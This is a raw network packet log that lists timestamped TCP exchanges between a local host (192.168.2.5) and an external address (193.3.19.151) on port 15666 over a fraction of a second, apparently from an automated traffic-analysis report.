Dec 19, 2024 08:53:05.797802925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797846079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797890902 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.797956944 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797970057 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798019886 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798028946 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798065901 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798069954 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798115015 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798194885 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798208952 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798240900 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798258066 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798264980 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798271894 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798300982 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798320055 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798330069 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798345089 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798376083 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798403978 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798423052 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798465014 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798517942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798520088 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798547029 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798567057 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798590899 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798625946 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798640013 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798654079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798683882 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798700094 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798712015 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798763037 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798810005 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798823118 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798850060 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798876047 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798883915 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798908949 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798933983 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798938036 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.798964024 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.798979998 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799011946 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799024105 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799071074 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799125910 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799139977 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799176931 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799186945 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799226999 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799257040 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799271107 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799297094 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799350977 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799374104 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799396038 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799416065 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799416065 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799449921 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799462080 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799499989 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799530029 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799576998 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799576998 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799627066 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799658060 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799681902 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799701929 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799720049 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799746037 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799789906 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799802065 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799846888 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799885035 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.799899101 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.799941063 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.800009966 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.800023079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.800093889 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.800113916 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.800165892 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.800182104 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.800219059 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.800225019 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.800278902 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.800309896 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.800364017 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.800385952 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.800434113 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.800575018 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.800656080 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.800673962 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.800721884 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.800992012 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.801142931 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.801187992 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.801291943 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.801296949 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.801347017 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.801353931 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.801460028 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.801502943 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.801548004 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.801567078 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.801608086 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.801620960 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.801646948 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.801703930 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.803417921 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.803519964 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.803606033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.803663969 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.803706884 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.803755045 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.803771973 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.803805113 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.804322958 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.804383993 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.804471016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.804522991 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.804809093 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.804867983 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.804919958 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.805003881 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.805057049 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.805107117 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.805152893 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.805197001 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.805260897 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.805308104 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.805351973 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.805414915 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.805471897 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.805474043 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.805516958 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.805571079 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.805691004 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.805746078 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.805785894 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.805838108 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.807179928 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.807236910 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.807471991 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.807528019 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.807534933 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.807727098 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.807862043 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.807919025 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.807992935 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.808193922 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.808253050 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.808311939 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.808346033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.808398008 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.808466911 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.808516026 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.808619022 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.808621883 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.808660984 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.808684111 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.808774948 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.808777094 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.808846951 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.809063911 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.809113979 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.809135914 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.809231997 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.809278965 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.809319973 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.809362888 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.809376001 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.809411049 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.809425116 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.809514999 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.809540033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.809555054 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.809570074 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.809591055 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.811805964 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.811892986 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.811990976 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.812046051 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.812061071 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.812129974 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.812146902 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.812191010 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.812227011 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.812279940 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.812381983 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.812498093 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.812517881 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.812546968 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.812587976 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.812628984 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.812660933 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.812728882 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.812740088 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.812963963 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.813014030 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.813050032 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.813103914 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.813132048 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.813193083 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.813240051 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.813291073 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.813375950 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.813419104 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.813466072 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.813545942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.813565969 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.813610077 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.813644886 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.813694000 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.813739061 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.813788891 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.813834906 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.813915014 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.813954115 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.813956976 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.813980103 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.813990116 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.813997030 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.814804077 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.814856052 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.815007925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.815090895 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.815121889 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.815171003 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.815208912 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.815257072 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.815305948 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.815351009 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.815381050 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.815431118 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.815454960 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.815509081 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.815556049 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.815639019 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.815673113 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.815694094 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.815751076 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.815797091 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.815824986 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.815953016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.815999985 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.816032887 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.816139936 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.816234112 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.816287994 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.816308022 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.816358089 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.816376925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.816423893 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.816458941 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.816508055 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.816512108 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.816543102 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.816555023 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.816576958 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.816592932 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.816617966 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.817339897 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.817390919 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.817408085 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.817454100 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.817642927 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.817732096 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.817780972 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.817837954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.817888975 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.817950010 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.818006039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.818056107 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.818111897 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.818193913 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.818226099 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.818260908 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.818334103 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.818429947 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.818449020 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.818483114 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.818500996 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.818535089 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.818584919 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.818655014 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.818655014 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.818742037 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.818788052 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.818835020 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.818867922 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.818888903 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.819231033 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.820209980 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.820257902 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.820264101 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.820308924 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.820624113 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.820673943 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.820837021 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.820851088 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.820899963 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.820902109 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.820979118 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.821187973 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.821201086 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.821213961 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.821232080 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.821270943 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.821312904 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.821355104 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.821434975 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.821490049 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.821510077 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.821615934 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.821660042 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.821686029 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.821867943 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.822824955 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.822873116 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.822907925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.822949886 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.822989941 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.823069096 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.823112965 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.823159933 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.823333979 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.823379993 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.823504925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.823606014 CET	15666	49709	193.3.19.151	192.168.2.5
